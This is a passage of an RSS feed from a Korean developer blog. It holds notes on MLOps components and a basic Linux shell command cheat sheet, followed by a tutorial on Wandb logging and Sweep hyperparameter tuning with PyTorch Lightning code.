&lt;p data-ke-size=&quot;size16&quot;&gt;모델 Artifact 등을 저장하고, 다양한 모델에 대하여 모델 생성일, 모델 성능, 모델의 메타 정보(Hyperparams, Statistics, Evaluation metrics, schemas, models, profiling logs)등을 저장하고 관리하는 부분이다. 대표적으로 mlflow를 사용할 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Feature Store&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터에 대한 피처들을 저장하여 별도의 전처리 과정을 생략할 수 있는 과정&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Data Validation&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력으로 들어오는 데이터가 학습에 사용되었던 데이터와 유사한지를 확인해야 하고, 데이터의 품질 또한 평가를 하는 부분이다. Training과 serving 데이터간의 분포 차이를 확인할 수 있고, 지속적인 학습으로 시간이 지남에 따라 모델의 성능이 떨어지는 Model drift를 방지할 수 있다. AWS Deequ로 데이터의 quality를 측정할 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Continuous Training&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델에 학습된 데이터가 오래될수록 모델의 성능은 내려갈 수 있다. 이런 상황을 방지하기 위해 retrain해야 하는데, 새로운 데이터가 들어오는 경우, 매일, Metric을 기반으로 성능이 떨어졌을 때 아님 요청 시에 retrain을 할 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Monitoring&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델의 지표, 인프라 성능 지표를 잘 기록하여 학습이 잘 진행되고 있는지, 올바른 출력이 나오고 있는지 확인 할 필요가 있다. Log로 남긴 다음 주기적으로 확인하는 과정이다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;AutoML&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 과정을 자동으로 진행해주는 부분이다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;MLOps Component 중 내가 매력적으로 생각하는 TOP3을 정해보고 왜 그렇게 생각했는지 작성해보기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Data Validation&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;학습 과정에서 잘 동작하는 모델이 실제 product에서는 잘 동작하지 않을 수 있다. 여러 가지 요소가 있지만 이런 경우에는 모델을 개발하는 아무 의미가 없을 수도 있다. 이러한 문제 발생 시에는 input data가 문제가 있을 경우가 많으니, 이를 관리하는 부분이 중요한 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Continuous Training&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추천 시스템을 예로 들면 오래된 데이터는 현재 사용자의 추천 란에 전혀 도움이 안된다. 오히려 예측에 방해가 될 가능성이 높다. 이런 결과를 방지 하기 위해 모델을 꾸준히 학습시키는 과정이 필요하다. 시대에 뒤떨어진 모델은 독이기에, 매력적인 기능인 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;AutoML&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 component 전부 정말 중요하지만, AutoML이 가장 중요한 것 같다. 어느 순간이 되면 모든 과정이 자동화되어야 한다. 인력과 자원을 낭비하기 위해 MLOps가 우리가 해야 할 일을 대신 해줘야 하는데, AutoML을 통해 자동으로 데이터 feeding, training, update를 해준다니 너무나 매력적인 요소인 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Linux_Shell Command&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Shell&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 문자를 입력해 컴퓨터에 명령할 수 있도록 하는 프로그램&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 쉘을 실행하기 위해 문자 입력을 받아 컴퓨터에 전달&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 프로그램의 출력을 화면에 작성&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기본 쉘 커맨드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mkdir - 폴더 생성하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ls - 현재 접근한 폴더의 폴더와 파일 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; -a: .으로 시작하는 파일, 폴더를 포함한 전체 파일 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; -l: 퍼미션, 소유자, 만든 날짜, 용량까지 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; -h: 용량을 사람이 읽시 쉽도록 표현, -l과 같이 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pwd - 현재 폴더 절대경로로 보여줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cd - 폴더 변경하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;echo - python의 print, 터미널에 텍스트 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vi - 편집기로 파일 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; - INSERT 모드에서만 수정 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; - ESC, :wq 저장하고 나가기, q: 그냥 나가기, wq! 강제로 저장하고 나오기, w: 저장하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bash - 쉘 스크립트 실행 ex: bash test.sh&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo - 관리자 권한으로 실행하고 싶은 경우 사용(사용에 주의! 너무 많은 권한을 주는 셈)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cp - 파일 또는 폴더 복사하기 ex) cp test.sh test2.sh -&amp;gt; test.sh 내용이 test2.sh로 복사&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;-r: 디렉토리 복사할 때 안에 파일까지 재귀적으로 복사&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;-f: 복사할 때 강제로 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mv - 파일, 폴더 이동하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cat - 특정 파일 내용 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;clear - 터미널 창 꺠끗하게 지우기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;history - 최근에 입력한 쉘 커맨드 History 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; - !n으로 n번째 커맨드 다시 사용가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;find - 파일 및 디렉토리 검색할 때 사용 ex) find .-name &quot;FILE&quot; == 현재 폴더에서 FILE이란 이름 가지느 폴더/디렉토리 검색&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;export - 환경 변수 설정 ex) export water=&quot;물&quot; -&amp;gt; echo $water = 물&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; - 터미널이 꺼지면 사라지게 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※리눅스 환경에서는 = 양 끝에 공백이 있으면 안된다! water = &quot;물&quot; -&amp;gt; 에러&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;alias - 현재 별칭으로 설정된 것 확인 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- alias ll2='ls -1' 설정해주면 ll2로 ls -l 사용가능&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉘 커맨드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;head, tail - 앞/뒤 n행 출력 ex) head -n 3 vi-test.sh&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sort - 행 단위 정렬&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-r : 정렬을 내림차로 정렬(deafult는 오름차순)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-n : Numeric Sort&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- ex) cat fruits.txt | sort&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;uniq - 중복된 행이 있으면 중복 제거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;grep - 파일에 주어진 패턴 목록과 매칭되는 라인 검색&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-i : 대소문자 구분 없이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-w : 정확히 그 단어만 찾기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-v : 특정 패턴 제외한 결과 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-E : 정규 표현식 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cut - 파일에서 특정 필드 추출&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -f: 잘라낼 필드 지정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -d: 필드를 구분하는 구분자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; - ex) cat cut_file | cut -d : -f 1, 7 == 1번쨰, 7번째 가져옴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stream - Unix에서 동작하는 프로그램은 커맨드 실행 시 3개의 Stream 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- stdin: 0으로 표현, 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -stdout: 1로 표현, 출력 값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -stderr: 2로 표현, 디버깅 정보, 에러 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redirection - 프로그램의 출력을 다른 파일이나 스트림으로 전달&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- &amp;gt;: 덮어쓰기 or 파일이 없으면 생성하고 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- &amp;gt;&amp;gt;: 맨 아래에 추가(append)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pipe( | ) - 프로그램의 출력을 다른 프로그램의 입력으로 사용하고 싶은 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - A | B == A의 output을 B의 input으로 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- ex) ls | grep &quot;vi&quot; == ls로 나온 파일명 중 vi가 포함된 단어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ps - 현재 실행되고 있는 프로세스 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;-e: 모든 프로세스&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;-f: full format으로 자세히 보여줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl - Command Line 기반의 Data Transfer 커맨드, Request를 테스트할 수 있는 명렁어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;df - 현재 사용 중인 디스크 용량 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; -h 사람이 읽기 쉬운 형태로 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;scp - ssh를 이용해 네트워크로 연결된 호스트 간 파일 주고 받기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-r: 재귀적으로 복사&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-P: ssh 포트 지정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-i: SSH 설정을 활용해 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- local =&amp;gt; remote : scp loca_path user@ip:remote_directory&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- remote =&amp;gt; local : scp user@ip:remote_directory local_path&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- remote =&amp;gt; remote: scp user@ip:remote_directory user2@ip2:target_remote_directory&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nohup - Permission이 755인 파일을 터미널 종료 후에도 백그라운드에서 실행하게 해줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- ex) nohup python3 app.py &amp;amp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chmod - 파일의 권한을 변경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - r(읽기) = 4, w(쓰기) = 2, x(실행하기) = 1, -=denied&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - r-x 읽거나 실행할 수는 있지만 w가 없으므로 수정 불가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - 셋을 더하면 7, 755 or 644로 퍼미션 주세요!라고 하면 더한 형태로 퍼미션 줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AI Tech 4기/Level1</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/134</guid>
      <comments>https://developersdream.tistory.com/134#entry134comment</comments>
      <pubDate>Mon, 7 Nov 2022 17:06:19 +0900</pubDate>
    </item>
    <item>
      <title>Wandb와 Sweep 구현</title>
      <link>https://developersdream.tistory.com/133</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;P stage가 끝난 기념 폭풍같이 블로그를 작성하고 있다. 이 때가 아니면 또 잊어버릴 수도 있기에, 이번에 구현했던 wand와 sweep 구현을 적어보려고 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Wandb&lt;/h3&gt;
&lt;pre id=&quot;code_1667479569835&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    wandb.login(key = wandb_dict[cfg.wandb.wandb_username])
    model_name_ch = re.sub('/','_',cfg.model.model_name)
    wandb_logger = WandbLogger(
                log_model=&quot;all&quot;,
                name=f'{model_name_ch}_{cfg.train.batch_size}_{cfg.train.learning_rate}_{time_now}',
                project=cfg.wandb.wandb_project,
                entity=cfg.wandb.wandb_entity
                )

    # Checkpoint
    checkpoint_callback = ModelCheckpoint(monitor='val_pearson',
                                        save_top_k=1,
                                        save_last=True,
                                        save_weights_only=False,
                                        verbose=False,
                                        mode='max')

    # Earlystopping
    earlystopping = EarlyStopping(monitor='val_pearson', patience=2, mode='max')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 먼저 wandb에 자동으로 로그인을 해주어야 한다. 이를 wand.login에서 실행하는데, key에 자신의 wandb api key값을 넣어주면 된다. 다음에 Trainer에 넣어줄 logger인 WandbLogger가 필요한데, wandb runs에 나타낼 이름을 설정해줄 수 있고, wandb 어느 project에 저장될지를 project에 넣어주고, entity에 기록을 저장할 entity 이름을 쓰면된다(개인 혹은 팀).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 모델을 중간에 저장해줄 ModelCheckpoint를 설정해주어야 하는데, monitor에는 우리가 checkpoint를 찍을 기준을 넣으면 된다. accuracy, val_loss등 개인이 설정하면 된다. 여기서 최적화를 어느 방향으로 할지를 mode에 넣어주는데, 우리 같은 경우에는 pearson이 최대가 되도록 최적화를 해주어야 함으로 max를 넣어주었다. save_top_k는 가장 성능이 좋은 체크포인트 중 몇 개를 저장할지이다. 우리 같은 경우에는 1개만 저장했다. 또한 weight만 넣는 것이 아닌 전체 모델을 넣어주는 save_weights_only에 False로 해주었다. 또 과대적합을 막기 위한 earlystopping이 필요한데, 여기서도 monitor는 같고 patience가 성능 개선이 없어도 몇 번 넘어갈 것인지를 설정해주는 것이다. 너무 높으면 early stopping이 제대로 동작하지 않을 가능성도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1667479839461&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;trainer = pl.Trainer(
        gpus=-1, 
        max_epochs=cfg.train.max_epoch, 
        log_every_n_steps=cfg.train.logging_step,
        logger=wandb_logger,    # W&amp;amp;B integration
        callbacks = [checkpoint_callback, earlystopping]
        )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 logger=wandb_logger로 넣어주면 제대로 실행이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Wandb Sweep&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sweep은 하이퍼파라미터 튜닝을 위한 기능으로, 한 모델에 대하여 다양한 하이퍼파라미터 세트를 설정해주어 학습을 시킬 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1667479917936&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sweep_config = {
        'method': 'bayes', 
        'parameters': {
        'lr':{
            'distribution': 'uniform',  # parameter를 설정하는 기준을 선택합니다. uniform은 연속적으로 균등한 값들을 선택합니다.
            'min':1e-5,                 # 최소값을 설정합니다.
            'max':5e-5                  # 최대값을 설정합니다.
        },
        'batch_size': {
            'values': [16, 32]
            },
        
    },
    'name' : 'snunlp-KcELECTRA-nof',
    'metric':{'name':'val_pearson', 'goal':'maximize'},
    'early_terminate' : {'type' : 'hyperband', 'max_iter' : 30, 's' : 2, 'eta': 3},
    &quot;entity&quot; : 'sts',
    'project' : 'ELECTRA'
    }

    checkpoint_callback = ModelCheckpoint(monitor='val_pearson',
                                        save_top_k=1,
                                        save_last=True,
                                        save_weights_only=False,
                                        verbose=False,
                                        mode='max')

    # Earlystopping
    earlystopping = EarlyStopping(monitor='val_pearson', patience=2, mode='max')
    # dataloader와 model을 생성합니다.
    model_name_ch = re.sub('/','_',args.model_name)
    def sweep_train(config=None):
            wandb.init(config=config)
            config = wandb.config

            dataloader = Dataloader(args.model_name, config.batch_size, args.shuffle, args.train_path, args.dev_path,
                            args.test_path, args.predict_path)
            model = Model(args.model_name, config.lr)
            wandb_logger = WandbLogger(
                log_model=&quot;all&quot;,
                name=f'{model_name_ch}_{config.batch_size}_{config.lr}_{args.time_now}',
                project=args.wandb_project,
                entity=args.wandb_entity
                )
            trainer = pl.Trainer(gpus=1, max_epochs=10, log_every_n_steps=5,logger=wandb_logger,callbacks = [checkpoint_callback, earlystopping])
            
            trainer.fit(model=model, datamodule=dataloader)
            trainer.test(model=model, datamodule=dataloader)
            output_dir_path = 'output'
            if not os.path.exists(output_dir_path):
                os.makedirs(output_dir_path)

            output_path = os.path.join(output_dir_path, f'{model_name_ch}_{config.batch_size}_{config.lr}_{args.time_now}_model.pt')
            torch.save(model, output_path)
    sweep_id = wandb.sweep(
            sweep=sweep_config,     # config 딕셔너리를 추가합니다.
            project=args.wandb_project,# project의 이름을 추가합니다.
        )
    wandb.agent(
            sweep_id=sweep_id,      # sweep의 정보를 입력하고
            function=sweep_train,   # train이라는 모델을 학습하는 코드를
            count=7             # 총 5회 실행해봅니다.
        )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 먼저 sweep_config라는 딕셔너리가 보일 것이다. 이 것이 그냥 wandb와의 차이인데, sweep은 딕셔너리로 config을 작성한다. 다음 표를 보고 name, parameter 등이 의미하는 값을 이해하면 될 것 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;940&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHYt0D/btrQlOVJNTC/3lJfsOL4MdjhMhjXFx5nI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHYt0D/btrQlOVJNTC/3lJfsOL4MdjhMhjXFx5nI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHYt0D/btrQlOVJNTC/3lJfsOL4MdjhMhjXFx5nI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHYt0D%2FbtrQlOVJNTC%2F3lJfsOL4MdjhMhjXFx5nI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;582&quot; height=&quot;456&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;940&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 필수와 옵션이 있는데, method는 grid, random, bayes가 있다. grid는 우리가 정해준 세트 전부 다 학습을 하는 것이고, random은 균일분포로 하이퍼파라미터들을 가지고 와 학습을 하는 것이고, 베이스는 베이스의 조건부 확률에 기반하여 더 나은 하이퍼파라미터를 찾아주는 방법이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sweep_config을 만들었다면 이제 학습하는 코드를 짜줄 때이다. 우리가 위에서 학습하는 과정을 함수로 만들어야 하는데, 중요한 점은 sweep_config을 만들어줬다고 wandb_logger를 만들지 않으면 안된다는 점이다. 우리가 log를 찍을 metric, earlystopping, checkpoint 같은 부분은 그냥 wandb와 같게끔 sweep_train 안에 구현이 되어있어야 한다.(나는 wandb_logger를 안넣어줬다가 pearson metric을 남기지도 않고 earlystopping도 기능하지 않았다).&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;함수를 전부 만들어줬으면 이제 실행만 하면 된다. sweep_config과 프로젝트 이름을 넣어주는 sweep_id를 만들어 준 후, wandb.agent에 sweep_id, sweep_train을 function에 넣어주고, 마지막 count는 하이퍼파라미터 튜닝을 몇 번 진행할지 여부이다. 이 또한 config에 빼서 설정해주면 되겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>DL</category>
      <category>early terminate</category>
      <category>wandb</category>
      <category>wandb sweep</category>
      <category>구현</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/133</guid>
      <comments>https://developersdream.tistory.com/133#entry133comment</comments>
      <pubDate>Thu, 3 Nov 2022 21:58:38 +0900</pubDate>
    </item>
  </channel>
</rss>